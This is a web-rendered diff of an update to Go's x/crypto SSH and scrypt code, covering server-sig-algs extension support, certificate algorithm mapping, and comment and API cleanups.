if N <= 1 || N&(N-1) != 0 {
return nil, errors.New("scrypt: N must be > 1 and a power of 2")
}
if uint64(r)*uint64(p) >= 1<<30 || r > maxInt/128/p || r > maxInt/256 || N > maxInt/128/r {
return nil, errors.New("scrypt: parameters are too large")
}
xy := make([]uint32, 64*r)
v := make([]uint32, 32*N*r)
b := pbkdf2.Key(password, salt, 1, p*128*r, sha256.New)
for i := 0; i < p; i++ {
smix(b[i*128*r:], r, N, v, xy)
}
return pbkdf2.Key(password, b, 1, keyLen, sha256.New), nil
}
+35 -5
View File
@@ -8,7 +8,8 @@
// ssh-agent process using the sample server.
//
// References:
// [PROTOCOL.agent]: https://tools.ietf.org/html/draft-miller-ssh-agent-00
//
// [PROTOCOL.agent]: https://tools.ietf.org/html/draft-miller-ssh-agent-00
package agent // import "golang.org/x/crypto/ssh/agent"
import (
@@ -92,7 +93,7 @@ type ExtendedAgent interface {
type ConstraintExtension struct {
// ExtensionName consist of a UTF-8 string suffixed by the
// implementation domain following the naming scheme defined
// in Section 4.2 of [RFC4251], e.g. "[email protected]".
// in Section 4.2 of RFC 4251, e.g. "[email protected]".
ExtensionName string
// ExtensionDetails contains the actual content of the extended
// constraint.
@@ -225,7 +226,9 @@ var ErrExtensionUnsupported = errors.New("agent: extension unsupported")
type extensionAgentMsg struct {
ExtensionType string `sshtype:"27"`
Contents []byte
// NOTE: this matches OpenSSH's PROTOCOL.agent, not the IETF draft [PROTOCOL.agent],
// so that it matches what OpenSSH actually implements in the wild.
Contents []byte `ssh:"rest"`
}
// Key represents a protocol 2 public key as defined in
@@ -728,7 +731,7 @@ func (c *client) insertCert(s interface{}, cert *ssh.Certificate, comment string
if err != nil {
return err
}
if bytes.Compare(cert.Key.Marshal(), signer.PublicKey().Marshal()) != 0 {
if !bytes.Equal(cert.Key.Marshal(), signer.PublicKey().Marshal()) {
return errors.New("agent: signer and cert have different public key")
}
@@ -771,7 +774,7 @@ func (s *agentKeyringSigner) Sign(rand io.Reader, data []byte) (*ssh.Signature,
}
func (s *agentKeyringSigner) SignWithAlgorithm(rand io.Reader, data []byte, algorithm string) (*ssh.Signature, error) {
if algorithm == "" || algorithm == s.pub.Type() {
if algorithm == "" || algorithm == underlyingAlgo(s.pub.Type()) {
return s.Sign(rand, data)
}
@@ -790,6 +793,33 @@ func (s *agentKeyringSigner) SignWithAlgorithm(rand io.Reader, data []byte, algo
var _ ssh.AlgorithmSigner = &agentKeyringSigner{}
// certKeyAlgoNames is a mapping from known certificate algorithm names to the
// corresponding public key signature algorithm.
//
// This map must be kept in sync with the one in certs.go.
var certKeyAlgoNames = map[string]string{
ssh.CertAlgoRSAv01: ssh.KeyAlgoRSA,
ssh.CertAlgoRSASHA256v01: ssh.KeyAlgoRSASHA256,
ssh.CertAlgoRSASHA512v01: ssh.KeyAlgoRSASHA512,
ssh.CertAlgoDSAv01: ssh.KeyAlgoDSA,
ssh.CertAlgoECDSA256v01: ssh.KeyAlgoECDSA256,
ssh.CertAlgoECDSA384v01: ssh.KeyAlgoECDSA384,
ssh.CertAlgoECDSA521v01: ssh.KeyAlgoECDSA521,
ssh.CertAlgoSKECDSA256v01: ssh.KeyAlgoSKECDSA256,
ssh.CertAlgoED25519v01: ssh.KeyAlgoED25519,
ssh.CertAlgoSKED25519v01: ssh.KeyAlgoSKED25519,
}
// underlyingAlgo returns the signature algorithm associated with algo (which is
// an advertised or negotiated public key or host key algorithm). These are
// usually the same, except for certificate algorithms.
func underlyingAlgo(algo string) string {
if a, ok := certKeyAlgoNames[algo]; ok {
return a
}
return algo
}
// Calls an extension method. It is up to the agent implementation as to whether or not
// any particular extension is supported and may always return an error. Because the
// type of the response is up to the implementation, this returns the bytes of the
+3 -1
View File
@@ -251,7 +251,7 @@ type algorithmOpenSSHCertSigner struct {
// private key is held by signer. It returns an error if the public key in cert
// doesn't match the key used by signer.
func NewCertSigner(cert *Certificate, signer Signer) (Signer, error) {
if bytes.Compare(cert.Key.Marshal(), signer.PublicKey().Marshal()) != 0 {
if !bytes.Equal(cert.Key.Marshal(), signer.PublicKey().Marshal()) {
return nil, errors.New("ssh: signer and cert have different public key")
}
@@ -460,6 +460,8 @@ func (c *Certificate) SignCert(rand io.Reader, authority Signer) error {
// certKeyAlgoNames is a mapping from known certificate algorithm names to the
// corresponding public key signature algorithm.
//
// This map must be kept in sync with the one in agent/client.go.
var certKeyAlgoNames = map[string]string{
CertAlgoRSAv01: KeyAlgoRSA,
CertAlgoRSASHA256v01: KeyAlgoRSASHA256,
+6 -7
View File
@@ -15,7 +15,6 @@ import (
"fmt"
"hash"
"io"
"io/ioutil"
"golang.org/x/crypto/chacha20"
"golang.org/x/crypto/internal/poly1305"
@@ -97,13 +96,13 @@ func streamCipherMode(skip int, createFunc func(key, iv []byte) (cipher.Stream,
// are not supported and will not be negotiated, even if explicitly requested in
// ClientConfig.Crypto.Ciphers.
var cipherModes = map[string]*cipherMode{
// Ciphers from RFC4344, which introduced many CTR-based ciphers. Algorithms
// Ciphers from RFC 4344, which introduced many CTR-based ciphers. Algorithms
// are defined in the order specified in the RFC.
"aes128-ctr": {16, aes.BlockSize, streamCipherMode(0, newAESCTR)},
"aes192-ctr": {24, aes.BlockSize, streamCipherMode(0, newAESCTR)},
"aes256-ctr": {32, aes.BlockSize, streamCipherMode(0, newAESCTR)},
// Ciphers from RFC4345, which introduces security-improved arcfour ciphers.
// Ciphers from RFC 4345, which introduces security-improved arcfour ciphers.
// They are defined in the order specified in the RFC.
"arcfour128": {16, 0, streamCipherMode(1536, newRC4)},
"arcfour256": {32, 0, streamCipherMode(1536, newRC4)},
@@ -111,7 +110,7 @@ var cipherModes = map[string]*cipherMode{
// Cipher defined in RFC 4253, which describes SSH Transport Layer Protocol.
// Note that this cipher is not safe, as stated in RFC 4253: "Arcfour (and
// RC4) has problems with weak keys, and should be used with caution."
// RFC4345 introduces improved versions of Arcfour.
// RFC 4345 introduces improved versions of Arcfour.
"arcfour": {16, 0, streamCipherMode(0, newRC4)},
// AEAD ciphers
@@ -497,7 +496,7 @@ func (c *cbcCipher) readCipherPacket(seqNum uint32, r io.Reader) ([]byte, error)
// data, to make distinguishing between
// failing MAC and failing length check more
// difficult.
io.CopyN(ioutil.Discard, r, int64(c.oracleCamouflage))
io.CopyN(io.Discard, r, int64(c.oracleCamouflage))
}
}
return p, err
@@ -640,9 +639,9 @@ const chacha20Poly1305ID = "[email protected]"
// chacha20Poly1305Cipher implements the [email protected]
// AEAD, which is described here:
//
// https://tools.ietf.org/html/draft-josefsson-ssh-chacha20-poly1305-openssh-00
// https://tools.ietf.org/html/draft-josefsson-ssh-chacha20-poly1305-openssh-00
//
// the methods here also implement padding, which RFC4253 Section 6
// the methods here also implement padding, which RFC 4253 Section 6
// also requires of stream ciphers.
type chacha20Poly1305Cipher struct {
lengthKey [32]byte
+17 -2
View File
@@ -10,6 +10,7 @@ import (
"fmt"
"io"
"math"
"strings"
"sync"
_ "crypto/sha1"
@@ -118,6 +119,20 @@ func algorithmsForKeyFormat(keyFormat string) []string {
}
}
// supportedPubKeyAuthAlgos specifies the supported client public key
// authentication algorithms. Note that this doesn't include certificate types
// since those use the underlying algorithm. This list is sent to the client if
// it supports the server-sig-algs extension. Order is irrelevant.
var supportedPubKeyAuthAlgos = []string{
KeyAlgoED25519,
KeyAlgoSKED25519, KeyAlgoSKECDSA256,
KeyAlgoECDSA256, KeyAlgoECDSA384, KeyAlgoECDSA521,
KeyAlgoRSASHA256, KeyAlgoRSASHA512, KeyAlgoRSA,
KeyAlgoDSA,
}
var supportedPubKeyAuthAlgosList = strings.Join(supportedPubKeyAuthAlgos, ",")
// unexpectedMessageError results when the SSH message that we received didn't
// match what we wanted.
func unexpectedMessageError(expected, got uint8) error {
@@ -149,7 +164,7 @@ type directionAlgorithms struct {
// rekeyBytes returns a rekeying intervals in bytes.
func (a *directionAlgorithms) rekeyBytes() int64 {
// According to RFC4344 block ciphers should rekey after
// According to RFC 4344 block ciphers should rekey after
// 2^(BLOCKSIZE/4) blocks. For all AES flavors BLOCKSIZE is
// 128.
switch a.Cipher {
@@ -158,7 +173,7 @@ func (a *directionAlgorithms) rekeyBytes() int64 {
}
// For others, stick with RFC4253 recommendation to rekey after 1 Gb of data.
// For others, stick with RFC 4253 recommendation to rekey after 1 Gb of data.
return 1 << 30
}
+1 -1
View File
@@ -52,7 +52,7 @@ type Conn interface {
// SendRequest sends a global request, and returns the
// reply. If wantReply is true, it returns the response status
// and payload. See also RFC4254, section 4.
// and payload. See also RFC 4254, section 4.
SendRequest(name string, wantReply bool, payload []byte) (bool, []byte, error)
// OpenChannel tries to open an channel. If the request is
+3 -2
View File
@@ -12,8 +12,9 @@ the multiplexed nature of SSH is exposed to users that wish to support
others.
References:
[PROTOCOL.certkeys]: http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/PROTOCOL.certkeys?rev=HEAD
[SSH-PARAMETERS]: http://www.iana.org/assignments/ssh-parameters/ssh-parameters.xml#ssh-parameters-1
[PROTOCOL.certkeys]: http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/PROTOCOL.certkeys?rev=HEAD
[SSH-PARAMETERS]: http://www.iana.org/assignments/ssh-parameters/ssh-parameters.xml#ssh-parameters-1
This package does not fall under the stability promise of the Go language itself,
so its API may be changed when pressing needs arise.
+26 -5
View File
@@ -479,10 +479,12 @@ func (t *handshakeTransport) sendKexInit() error {
// As a client we opt in to receiving SSH_MSG_EXT_INFO so we know what
// algorithms the server supports for public key authentication. See RFC
// 8303, Section 2.1.
msg.KexAlgos = make([]string, 0, len(t.config.KeyExchanges)+1)
msg.KexAlgos = append(msg.KexAlgos, t.config.KeyExchanges...)
msg.KexAlgos = append(msg.KexAlgos, "ext-info-c")
// 8308, Section 2.1.
if firstKeyExchange := t.sessionID == nil; firstKeyExchange {
msg.KexAlgos = make([]string, 0, len(t.config.KeyExchanges)+1)
msg.KexAlgos = append(msg.KexAlgos, t.config.KeyExchanges...)
msg.KexAlgos = append(msg.KexAlgos, "ext-info-c")
}
}
packet := Marshal(msg)
@@ -613,7 +615,8 @@ func (t *handshakeTransport) enterKeyExchange(otherInitPacket []byte) error {
return err
}
if t.sessionID == nil {
firstKeyExchange := t.sessionID == nil
if firstKeyExchange {
t.sessionID = result.H
}
result.SessionID = t.sessionID
@@ -624,6 +627,24 @@ func (t *handshakeTransport) enterKeyExchange(otherInitPacket []byte) error {
if err = t.conn.writePacket([]byte{msgNewKeys}); err != nil {
return err
}
// On the server side, after the first SSH_MSG_NEWKEYS, send a SSH_MSG_EXT_INFO
// message with the server-sig-algs extension if the client supports it. See
// RFC 8308, Sections 2.4 and 3.1.
if !isClient && firstKeyExchange && contains(clientInit.KexAlgos, "ext-info-c") {
extInfo := &extInfoMsg{
NumExtensions: 1,
Payload: make([]byte, 0, 4+15+4+len(supportedPubKeyAuthAlgosList)),
}
extInfo.Payload = appendInt(extInfo.Payload, len("server-sig-algs"))
extInfo.Payload = append(extInfo.Payload, "server-sig-algs"...)
extInfo.Payload = appendInt(extInfo.Payload, len(supportedPubKeyAuthAlgosList))
extInfo.Payload = append(extInfo.Payload, supportedPubKeyAuthAlgosList...)
if err := t.conn.writePacket(Marshal(extInfo)); err != nil {
return err
}
}
if packet, err := t.conn.readPacket(); err != nil {
return err
} else if packet[0] != msgNewKeys {
+1 -1
View File
@@ -184,7 +184,7 @@ func ParseKnownHosts(in []byte) (marker string, hosts []string, pubKey PublicKey
return "", nil, nil, "", nil, io.EOF
}
// ParseAuthorizedKeys parses a public key from an authorized_keys
// ParseAuthorizedKey parses a public key from an authorized_keys
// file used in OpenSSH according to the sshd(8) manual page.
func ParseAuthorizedKey(in []byte) (out PublicKey, comment string, options []string, rest []byte, err error) {
for len(in) > 0 {
+1 -1
View File
@@ -68,7 +68,7 @@ type kexInitMsg struct {
// See RFC 4253, section 8.
// Diffie-Helman
// Diffie-Hellman
const msgKexDHInit = 30
type kexDHInitMsg struct {
Loaded 100 of 623 files, more files were not shown because too many files have changed in this diff. Show more